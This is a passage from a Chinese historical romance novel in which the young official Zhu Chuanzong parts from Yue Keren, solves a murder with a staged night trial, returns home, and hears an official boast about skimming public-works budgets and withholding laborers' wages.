暖云微笑着,正想安慰朱传宗,小郁却道:“你不理我们更好,你不是早就惦记着岳姑娘吗?还要我们做什么?正好找个机会,把我们打发走。”
朱传宗见小郁轻怒薄嗔,别有风味,不由呆了,道:“我什么时候这么想了?你别冤枉人。”
小郁道:“案子破了,你看她怎么感谢你吧!你不是早盼望着这一天吗?”
朱传宗忙辩解道:“不会的,我才不会那么没良心呢!不会丢下你们的。”
正说着,下人来报,岳可人和他的家人前来拜谢。
小郁翘起小嘴,道:“看看,说着就来了吧!”
朱传宗有些尴尬,可又怎能不见。
岳一鸣和一些亲戚前来给朱传宗送来了牌匾,千恩万谢,好话说了无数,又送了一些礼物,朱传宗心里高兴,也有些得意洋洋。
岳一鸣和他说话的意思,也有把岳可人许配给他的意思,就算是做牛做马,也是甘愿,只是唯恐配不上朱传宗,朱传宗更是乐得昏了头,偷眼见岳可人也是一脸羞意,倍增妩媚。
岳可人正在害羞,忽听暖云在她耳边轻轻地道:“岳姑娘,吴先生想见你一面,你悄悄跟我来吧!”
二女一起出去,旁人不知道她们做什么,女孩子的事情,也不好意思问。
在偏房,吴思远端坐看书,见岳可人来了,请她坐下。
岳可人行了礼,道:“吴先生为我父亲的案子费尽了心力,可人心里很是感激,请先生受我一拜。”
吴思远也不扶她,等她行完礼后,才道:“你现在感激我,等下说不定你就会骂我了。”
岳可人道:“怎么会呢?我一辈子都会记得您的恩情。”
吴思远道:“我请你离开朱少爷,你不会恨我吗?”
岳可人听了,如遭雷击,脸色苍白,道:“这是为什么呢?先生是不世出的奇才,必定有原因。”
吴思远抚须叹道:“京师的南庄,是全国上京告御状滞留没走的人的聚集地。这些人告状的时候,被这个衙门推到那个衙门,盘缠用完了,便靠乞讨和捡垃圾为生,他们带着家人和家乡人的期望,所以就算饿死,也不会回去,抱着一丝的希望,年复一年的等待着告御状,期待着有一天能遇到一个清官。”
岳可人道:“我知道,我知道遇到少爷是我的福气,如果不是他,我说不定早就做了别人的小妾,或者饿死了。因为我知道少爷对我,对我们家多大的恩情,所以我才要报答他。”
吴思远道:“你这么想,我很欣慰,你怎么报答他呢?”
岳可人道:“我愿意为他做牛做马,在他身边侍候他。”
吴思远对岳可人道:“你如果想报答朱公子,那么,你就不能现在留在他的身边。”
岳可人心下难受,想起小郁曾经半开玩笑半认真地和她说过,少爷身上有疾病,问她嫌弃不嫌弃,便道:“为什么?我愿意一辈子服侍他,就算……他是太监,我也心甘情愿跟他一辈子。我不是看重他的家世,我是真的喜欢他这个人。我也不在乎别的……”
说完有些呜咽。
吴思远眼中露出赞许的目光,道:“好姑娘,你果然是个重情重义之人。可是你要知道,你是案子当中的当事人,如果你跟着他,外间传言开去,都说他是为了你才这么卖力破案的。他担了什么名声?于他的仕途也有妨碍啊!”
岳可人抬起头,眼神露出坚毅的神情,这是寻常的女子所没有的,道:“我不认同先生的看法,我们活在世上,岂能太在意别人的看法呢?就算这事传了出去,有些人认为这是佳话,也说不定呢!我知道官场可能很注重这个,可是官场本来就是个是非之地。就算洁身自好,如果别人造起谣来,也是防不胜防。只要问心无愧,过了一些时候,也就好了。再说少爷他年纪轻轻,如果名声太好,反而是不好的事情。”
吴思远大是惊讶,叹道:“我知道姑娘聪明绝顶,但没想到你见识这么高远。你要是男子,我一定收你为弟子。你说的都对,可是你还是最好不要现在就和朱少爷在一起。”
岳可人美丽的双眼一阵迷离,道:“为什么呢?”
吴思远道:“你读过书,狡兔三窟你知道吧?”
岳可人道:“我知道,聪明的兔子要有三个家,有危险的时候有别的去处,这是未雨绸缪啊!”
吴思远道:“官场变幻莫测,今天是座上客,明天可能就是阶下囚。朱家势力再大,可是朱少爷疾恶如仇,总会得罪人。再说就算他能够呼风唤雨,能够得到皇上的宠爱,可是伴君如伴虎,早晚也有败落的一天,如果你真的喜欢他,何不为他预留一个安身之所呢?别的我不勉强你,只希望你能为他在这里等三年,如果三年之后,他还是风光的很,或者就算不当官了,没有危险,你也可以去找他。”
岳可人道:“先生您既然说了,三年我有何等不得,就算十年我也愿意。”
吴思远道:“你父亲在牢里受了伤,你就假说你要为父亲守护三年,三年之后,你便去找他,他一定会相信的。”
岳可人奇道:“为什么不和他说实话呢?”
吴思远叹道:“你当真以为他什么都懂吗?恋爱中的男女真的是无论多聪明,也会变得愚笨。他连你母亲被夫私奔的罪状都不问,都不知道,你看他对于世情,其实是不懂的。他不是为了你们家的名声故意不问的,而是真的不知道。你和他说实话,他不知道世间的险恶,执意和你在一起,这怎么办?他毕竟还是年轻,就算我猜错了,他聪明过人,能够保护自己,再过三年,那时候你们正当青年,再匹配一起也不迟啊!那时我必定为你主婚,不会亏待你的。”
岳可人觉得吴思远所说的对他的家庭来说,其实是两全其美的事情,等听到吴思远有主婚的意思,更是大喜,千恩万谢起来。
第八章 路遇劫匪
朱传宗还有一天就要离开上庆县了。所有的事情和案件他都处理好了,剩下的交给知府伍正善后。本来涉案的贪官却要亲自处理案件,这真是天大的讽刺,可是在大梁国,这是很普通的事情。
朱传宗感到很不可思议,可是吴思远道:“这就是现实,也是对百姓最有利的结果。如果为了情感的宣泄,让百姓洙尽贪官的愿望得到满足。可是那样你能保证新来的官员不贪吗?不仅不能,而且一般来的都是贪官。新官上任,油水没足,自然贪的更利害,所以还是不赶尽杀绝的好。”
朱传宗道:“我就不是贪官。怎么说没有清官呢?”
吴思远大有深意地看了他一眼,摇头摇头,心想:“你怎么当上官的还不知道?”
可是见他还很愚钝,也不当面说破。
岳一鸣案子就算告一段落了。可是冤枉岳一鸣杀人的那具无名女尸的却成了一个无头公案。既然这女尸不是岳夫人,那么是谁呢?
可是因为时间久了,加上原来故意诬陷岳一鸣杀人,记录的卷宗也准确,而且还有一天时间朱传宗就要走了,看来朱传宗只要放弃破这个案子了。
朱传宗对吴思远叹道:“看来人间的事情没有完美的,我要带着一点遗憾离开要这里了。可是关系到一个人的生命啊!我不能破案,真是心里不安。要是我有审鬼的本事就好了。就能帮她报仇。”
吴思远道:“虽然还有一天,也未必不能破案,我们尽最后一点力吧!但凡杀人的案子,都有鬼魂含冤,希望他们能保佑我们替她报仇。”
吴思远派人在尸体发现处附近的地方张贴告示,说巡按大人要在夜里审无头女尸案。敲锣打鼓的让衙役们去宣扬。
朱传宗有些不解,道:“我不明白,这能破案吗?”
吴思远道:“你不是要夜里审鬼破案吗?正好给你施展才能的机会。”
朱传宗摸不着头脑,加上岳可人和他说了要照顾父亲,不能随他去京师,和他约定三年之约,三年之后再见。朱传宗对于她要照顾家庭的想法,很是钦佩,她是善良又美丽的好姑娘,她既然有这样的心,也不好勉强,虽然朱传宗也支持她这么做,可是要分开,心里也是难受不已。
朱传宗回想起自从恢复记忆以来的种种事情,在府衙孤坐到半夜。而暖云和小郁自从和他来到外面之后,觉得对朱传宗越来越不了解,见他头一次这样呆呆的,在想事情,也不敢打扰。
可是爱情这东西越是不了解,越是神秘,反而效果越好,二个丫头这些日子来,算是被冷落了,可是她们却觉得朱传宗有了男子汉的气概,对他越发喜爱了。
直到半夜,吴思远吩咐张灯,把衙门照的通亮,请朱传宗去断案,朱传宗才醒过味来。
朱传宗道:“没有犯人,我怎么审?难道真要审鬼吗?”
吴思远笑道:“这是半夜,外面有几个来看您办案的百姓。我怀疑他们当中就有杀人犯。”
朱传宗略一思索,便笑道:“我明白了。能不能破案,就看上天的安排了。”
朱传宗来到堂上,衙役们都睡眼朦胧,心想:“一个疑犯都没有,钦差大人这是怎么审啊?”
朱传宗一拍惊堂木,吩咐关了衙门,然后把十个来看热闹的人逮住,仔细一审问,有一人说他是被同伴拉来看热闹的,那人答应给他好处。
二人家离这里很远,是特意来的,其余人等,都是家在附近,又都是闲人,所以来看热闹。
朱传宗细一审问那人,略一动刑,那人便招了,果然那女尸是他杀的。他心中有鬼,想知道案情,所以前来看热闹,没想到自投罗网。
朱传宗卷宗记下来,请下任知县来具体断这个案子,这时候已经到了天明。吴思远等人已经准备好了行囊,任何人都不知道朱传宗走的消息,一行人便上路了。
朱传宗在车上频频回头,吴思远笑道:“我没有告诉任何人你走的消息。伍知府知道你要走了,心里一定会高兴的,前来送行的话,也会兴高采烈。还有那些百姓,都当你当青天在世,也会夹道欢迎。可是这些虚名,有什么用呢?做事情无愧于心,不求所得,这才是真正的男子汉。”
朱传宗道:“我不在乎这些个虚名。”
心中惆怅,心想:“昨天是见她最后一面吗?”
众人来到了城外送行的长亭处,正是夏日,清晨微风送爽,一个女子在微风中站立,姿态曼妙无比,正是岳可人。
朱传宗惊喜地走上前去,道:“我以为你不知道我走呢!”
其余众人识趣,打了一个招呼,便去前面路上等去了。
岳可人温柔地望着朱传宗,目光中含着万般深情,道:“少爷,我不能跟你去了。可是在我心里,你永远不会离开我。”
朱传宗小心翼翼地抓住她的玉手,道:“真的?”
岳可人含羞轻轻点头。
朱传宗道:“那三年之后,你可要找我去啊!可别忘了。”
岳可人道:“不会了。海枯石烂,此心不变。”
朱传宗高兴不已,轻轻把她拥入怀里。二人情意绵绵,可惜终究要分别,眼看日已上头,天气越来越热。朱传宗叹道:“可惜我要走了,他们恐怕等的心焦了。”
岳可人拿出一把伞,道:“少爷,这把伞你拿着,算是我送你的礼物吧!”
朱传宗笑了笑,道:“不用,我跑几步就能做进车里了。你还是留着吧,你还要顶着太阳回家呢!你们女孩子皮薄,怕晒。”
朱传宗爽朗一笑,忽然在岳可人脸上亲了一下,然后飞快地跑开了。
朱传宗跑了很远,远远地向岳可人挥手,慢慢追上马车,渐渐消失在岳可人的视野当中。
岳可人无力地放下伞,心中满是伤情,叹道:“少爷,我不在你身边,希望你一切都好。”
岳可人却忘记了,情人之间,有不能送伞的风俗,送伞送“散”不是要分开吗?
朱传宗替岳一鸣洗清了杀妻案之后,和吴思远等人便往京师赶。这次回去,朱传宗虽然和岳可人这个美人儿分开了,但是再见可期,也就伤感了一会儿,破了案子,心情畅快的缘故,一路上看见风景美妙的地方,便停下来观看,虽然有命令在身,不能多耽搁,但也看了不少风景。
朱传宗原本是天上神仙,没有离别之苦,如今和岳可人分开了,感到了生离死别的普通人的感情,有时想起来,也觉得难过,不过暖云和小郁在他身边,回家又能见到仪态万方的姐姐和万种风情的嫂子,难过一会儿,也就不在意了。
这天朱传宗一行人来到了京师的近郊,离京师将近三十里的华表县。眼看就要到家了,众人心中一片温暖,他们正在急着赶路,忽然只见前面一阵骚乱,听见有人叫喊抓贼等等的声音,一会儿一群人追赶着就朝这边过来了。
房中席见了,早就吩咐护卫们拿出刀剑防备,到近前只见十多个衙役拿着刀棍在追三个拿着菜刀的大汉。
可能三个大汉勇猛的缘故,衙役们不敢近身,只想把三个人打倒,才好擒拿他们。
房中席骂道:“真给官府丢脸。”
让三个护卫上前,把三个大汉擒住了,交给那些衙役。
这时候朱传宗出了轿子,问是什么事,一个衙役的班头道:“大人,这三个劫匪一天之内,当街明目张胆抢劫了三起案子,真是太嚣张了,简直不把我们官府放在眼里啊!多亏大人的护卫帮了我们的大忙。真是多谢了。”
朱传宗懒洋洋地道:“不用客气,在京师近地,还有这样胆大的土匪,真是岂有此理。他们抢了多少银子啊?”
班头道:“这个……还没问呢!我去问问。”
房中席带三人过来,踢打了几下,道:“快回大人的话,你们抢了多少银子?”
一个汉子哭丧着脸道:“第一次抢的是一个老太太,身上只有十文钱。第二次拦住的是一个书生,看他没钱,就抢了一本书想拿回家给小孩看看。第三次抢的是一个妇人,把她的首饰抢了,谁知道都是假的,只换了一百文钱。我们需要一两银子才能够回家乡的盘缠。没办法只能再抢。就被大人们给拿住了。”
朱传宗脸上变色,道:“什么?你们只抢了一两银子不到?”
三人哭丧着脸,你一句,我一句地道:“如果能抢到一两银子,我们就不再抢了。”
“实在是想家心切,这才出此下策啊!”
“赵老四,都怪你出的这个馊主意。”
朱传宗道:“你们是哪里人,为什么来到华表县?如果说实话的话,我也许能为你们说说情,轻判你们一点。”
一个汉子道:“我叫赵老四,这是张老五,他是钱老六。我们三人是晋锦省陇中府梧桐县丘子沟人。在这里修桥,眼看将近两年了,可是一分工钱也没拿到,所以便想回乡。可是没有盘缠,所以出此下策,想抢些回乡的路费。只要一两银子,我们三个就能回家了。”
朱传宗道:“胡说,你们既然是修桥的工匠,怎么会被银子呢?分明是想拦路抢劫,却想出这个借口来糊弄本官,你们是活得不耐烦了吧?”
三人急忙叩头说没有骗人,的确是实情。
这时候吴思远来到朱传宗身边,在他耳边道:“他们说的是实情。这些工匠们,一年到头辛苦一年,一分银子没得到,也是常有的事情。既然他们没抢到多少钱,也没有伤人,我们说个情,放了他们如何?这些华表县的衙役是想抓人贪功罢了。”
朱传宗听了吴思远的话,脸上色变,道:“这三个犯人我要擒回京师审问。”
不容那些衙役再说。让吴思远开了凭据给他们,便带着三人上路了。
三人都是穷苦的农民出身,也不知道要被带到什么地方,一个个吓得面无人色,心中后悔极了。
朱传宗一行人回到京师盛京,先派人快马去朱府报信了。等到朱传宗到了家门口,早见到嫂子华采云和姐姐朱水月率领府里的人在门口迎接他。
朱传宗下了马车,喊道:“嫂子,姐姐,我回来了。”
华采云凤目泛起泪光,摸着朱传宗的头道:“高了,也瘦了。”
华采云是朱府的当家人,一向威严泼辣,几时有过这样的时候,众人都看呆了。
朱水月原本也很激动,不过看见华采云失态,反而镇定下来,笑道:“我的好嫂子,宝儿不是回来了吗?看把你惦记的。现在他回来了,还有什么伤心的啊!太太和老太君都在里面等的急了。”
华采云这才笑道:“看我光顾着自己高兴,把她们忘了。好弟弟,咱们快去看你母亲和祖母吧!她们每天总是唠叨着你,这回你回来了,她们不知道要高兴成什么样子呢!”
朱传宗原本对她们并没有什么深厚的感情,甚至有些怕见她们,可是他在外面历练了一番之后,知道了亲情的宝贵,只有亲人才对你不离不弃,即使在最困难的时候,她们也会帮你的。所以听了她们这么惦记他,心里也是感动。
朱传宗三步并做两步,来到老太君的住所,一进门就扑倒在朱夫人的脚下,道:“太太,不孝儿回来了。”
然后又扑在老太君脚小,道:“祖母,我回来了,您老好吗?”
朱夫人眼里含泪,急忙用手帕抹泪,老太君久经悲欢离合,见多识广,却不流泪,高兴地摸着朱传宗的头,道:“好孩子,回来就好。越来越有出息了。”
盯着朱传宗,越看越爱。
华采云笑道:“太太,看您,老太君都没哭,大喜的日子,您哭什么?不过宝弟弟头一次出远门,这次回来,也真是让人高兴。”
朱水月道:“嫂子,你还劝太太呢!抹眼泪的人,头一个就是你啊!”
华采云道:“臭丫头,你胡说,我哪里那么不堪了。”
一家人你一言,我一语的说了起来,他们都为了哄朱夫人和老太君高兴,让朱传宗说了一些笑话,一会儿,还是老太君道:“宝儿这次远道回来,还是先去休息吧!不用陪我这个老东西了。人一老,就没趣了。你们年轻人聊的投机,还是你们去吧!”
丫环上来扶老太君回房,朱传宗向朱夫人告辞,也回房去休息了。
朱传宗回到他的房间,四季一个个都前来问这问那,嘘寒问暖,一时房里也很热闹。
闹了一阵,四季怕朱传宗和暖云和小郁一路劳累,便让他们休息。
暖云和小郁坐了一路的车,也真累了,便去休息,让春风照顾朱传宗休息。
朱传宗在天上的一些记忆没有失去,平时修炼在天上的一些口诀,虽然没有炼成什么道行,但是身体却很结实,精神也很充沛,他躺在床上,一点也不困,便和春风拉家常。
朱传宗问了一些府里的事情,见春风巧笑倩兮,说故事说得津津有味,和她们分别久了,开始还有些拘束,等一会儿熟络起来,见她眉目传情,不由心动起来。
朱传宗先是握着春风的小手,过了一会儿,见她虽然害羞,但没有不悦的意思,便拉住她,往怀里扯,吻上她的香唇,道:“好香的小嘴,让我尝尝味道。”
春风满面通红,又喜又怕,嘟囔道:“看人进来,少爷,别这样。”
欲待拒绝,可是浑身酥软,有种异样的感觉,神志也渐渐模糊。
朱传宗这次出门,回来之后,眼界大开,不再是昔日那个少年了,他浑身自然而然带着一股威严。原本春风就对她的少爷有好感,此刻见少爷越发有男子汉的气概,更是又爱又惧,朱传宗略一动强,春风便臣服在他身下。
朱传宗在外面勾心斗角,紧张激烈的环境下,根本没有谈情说爱的心情,一回到家里,感觉说不出的安定,再见到各个美人风姿绰约,风光旖旎,心思便活动起来。
朱传宗和春风共赴云雨,男贪女爱,好不快活。
事毕之后,朱传宗本想搂着春风说话,可是春风害怕有人进来,哀求道:“少爷,您就饶了我吧!要是外面进来人,我还有脸活吗?”
朱传宗道:“谁进来又如何?难道还敢管我的事情吗?”
春风见朱传宗威严的样子,和以前很不一样,心中对他的话深信不疑,伏在他的怀里,脸埋了进去,道:“少爷你真坏,我不求别的,只求你别忘了我,别有了夫人之后,把我赶走。让我服侍你一辈子,当你的丫头就行。”
朱传宗料不到她说出这话来,道:“平时看你总是欢欢喜喜的,怎么这时候说这样难过的话!”
春风道:“我模样是丫头里最平庸的,既然少爷肯看上我,是我的福气,可是我怕以后会被你赶走。”
朱传宗笑道:“你放心好了,我永远不让你们离开我。你们这些丫头,我一个也舍不得。”
春风笑道:“就怕你娶了一个厉害的夫人,就由不得你了。”
朱传宗道:“这样的人我大不了不娶就是了。难道我还娶不到贤良淑德的?”
春风道:“也是,少爷越来越厉害,看以后谁家的小姐能匹配上你,说不定要公主呢!”
朱传宗道:“别乱说。公主不一定好看,我才不要呢!对了,皇宫很好看吗?我还没去过呢!”
春风笑道:“少爷,你忘记了。老太君带你去过很多次呢!”
朱传宗道:“我不记得了。”
春风和朱传宗聊了一会儿,渐渐回过味来,便起身穿上衣服,道:“晚上还有宴会呢!少爷,你还是睡一会儿吧!”
朱传宗回到朱家的消息早被朝廷中的大臣们知道了,一些和朱佑继交好的大臣和工部的官员都前来道喜。
晚上盛大的宴会开始了。朱府道贺的人络绎不绝,大门外车水马龙,朱传宗以前对这些事见惯不怪,没有什么多余的想法,可是看这么多官员都带来了价值不菲的金银珠宝,字画古董,心想:“这些不是变相的贿赂吗?以前不觉得,以为很正常呢!现在看来,我们家这么有钱,原来都是贪来的啊!”
朱传宗有些不高兴,回头想找人说话,见他出去办案带回来的王大牛,一脸痴呆样,看什么都觉得新鲜,便叫他过来,道:“大牛,你到我们家还习惯吗?”
王大牛道:“别的还好,就是上厕所有些不习惯。”
朱传宗奇道:“怎么了?”
王大牛嗫嚅道:“你们家厕所修的比我们家房子还好,我不敢去。”
朱传宗笑骂道:“真没出息。”
王大牛道:“我是笨嘛!少爷,我求您一件事。您要是答应了,以后我一定报答您。”
朱传宗心想:“这么快就想媳妇了。”
道:“你说来听听吧!”
王大牛道:“那三个强盗都是穷苦人,家里都有老人孩子,白干活干了快两年,一文钱没拿到,思家心切,所以才去抢劫的,您就饶了他们,行吗?大牛给您磕头。”
说完跪下来使劲磕头。
朱传宗一愣,道:“你起来,我答应你就是了。”
王大牛道:“少爷心地真好,我一辈子都为您效力,就算死了也甘心。”
这时候宴会开始了,下人请朱传宗出去见客。
大厅里摆了几十桌酒席。朝廷里的大官在内廷摆了一桌。
朱传宗虽然是朱家的少爷,但有他父亲在,他便坐在下面比较靠后的位置。挨着工部郎中吕伯冰。
吕伯冰能说会道,有这个机会,便拼命巴结朱传宗。
朱传宗道:“吕大人为官多年,什么事情都知道,我有些事情不懂,还想请教,不知道能否赐告。”
吕伯冰听了大喜,哈哈笑道:“公子客气了,有什么想要知道的尽管问,别的我不行,就是这些官场上的一些事情,还是知道一些的。”
朱传宗道:“听说修桥修路,还有一些朝廷的一些工程,都欠着钱,有这回事吗?难道朝廷还没钱,还要欠账吗?”
吕伯冰心想:“都说朱少爷聪明过人,原来还是年轻,这点事情也不知道。”
不过怕朱传宗问的可不是这么简单,便卖弄起来,道:“这里面道道可多了。有些工程,工部的款项拨到地方,他们先拿去放债,多压一日便能多得一些银子,所以这款项是越晚给越好。而且那些得到工程的商人,为了早点拿到银子,便会给掌管钱财的官员塞钱,所以何乐而不为呢?”
朱传宗道:“原来是这样啊!”
吕伯冰道:“这只是一种,有些得到工程的商人,上面都有人,底下的官员也不敢得罪,不敢不给钱。这些商人狠着呢,先让那些工匠干上一两年,说等到工程完了给钱,可是等到工程完了,便推说朝廷给的钱没到手,那些人便白干了。”
朱传宗愣了,气地干瞪眼,道:“那些小钱他们也诬赖去了?”
吕伯冰笑道:“小钱?那可多着呢!我给你算算。一个工程,如果工匠和劳工的工钱算是一年十两,一般一个工程也得几万人吧?那是多少钱?”
朱传宗呆了。
吕伯冰洋洋得意,道:“不过当官的才不白痴呢!让他们赚那么多的钱去?”
朱传宗道:“愿闻其详。”
吕伯冰道:“一个工程,预算下来,比如是一百万两银子吧!实际的话,也就六十万两银子就能完工。当然,有些能力大的官员,可以把预算搞到一百二,三十万两银子。然后把工程用五十万两银子包出去。你算算,得了多少好处?”
说完摸着大肚皮笑了起来。
朱传宗道:“不可能,你明明说六十万两银子才能完工。你谁五十万两银子能包出去?谁做亏本的生意啊?”
吕伯冰道:“公子,你忘了啊!工程拿到手之后,除去木料沙土砖石耗费,大概二十万两银子,剩余的四十万两银子可以不给,那些是劳工钱,工程一完就跑人,或者干脆不给了,那些劳工没钱没势,哪里要钱去?五十万两银子包了,还能赚三十万两呢!当然工钱可以给一点,但怎么也可以赚二十多万吧?”
吕伯冰见朱传宗听愣了,不由得意,笑道:“别看那些商人挣钱多,可是公子你看,我们工部的官员比他们多不少呢!哈哈,我们当官的,还是比那些商人聪明。”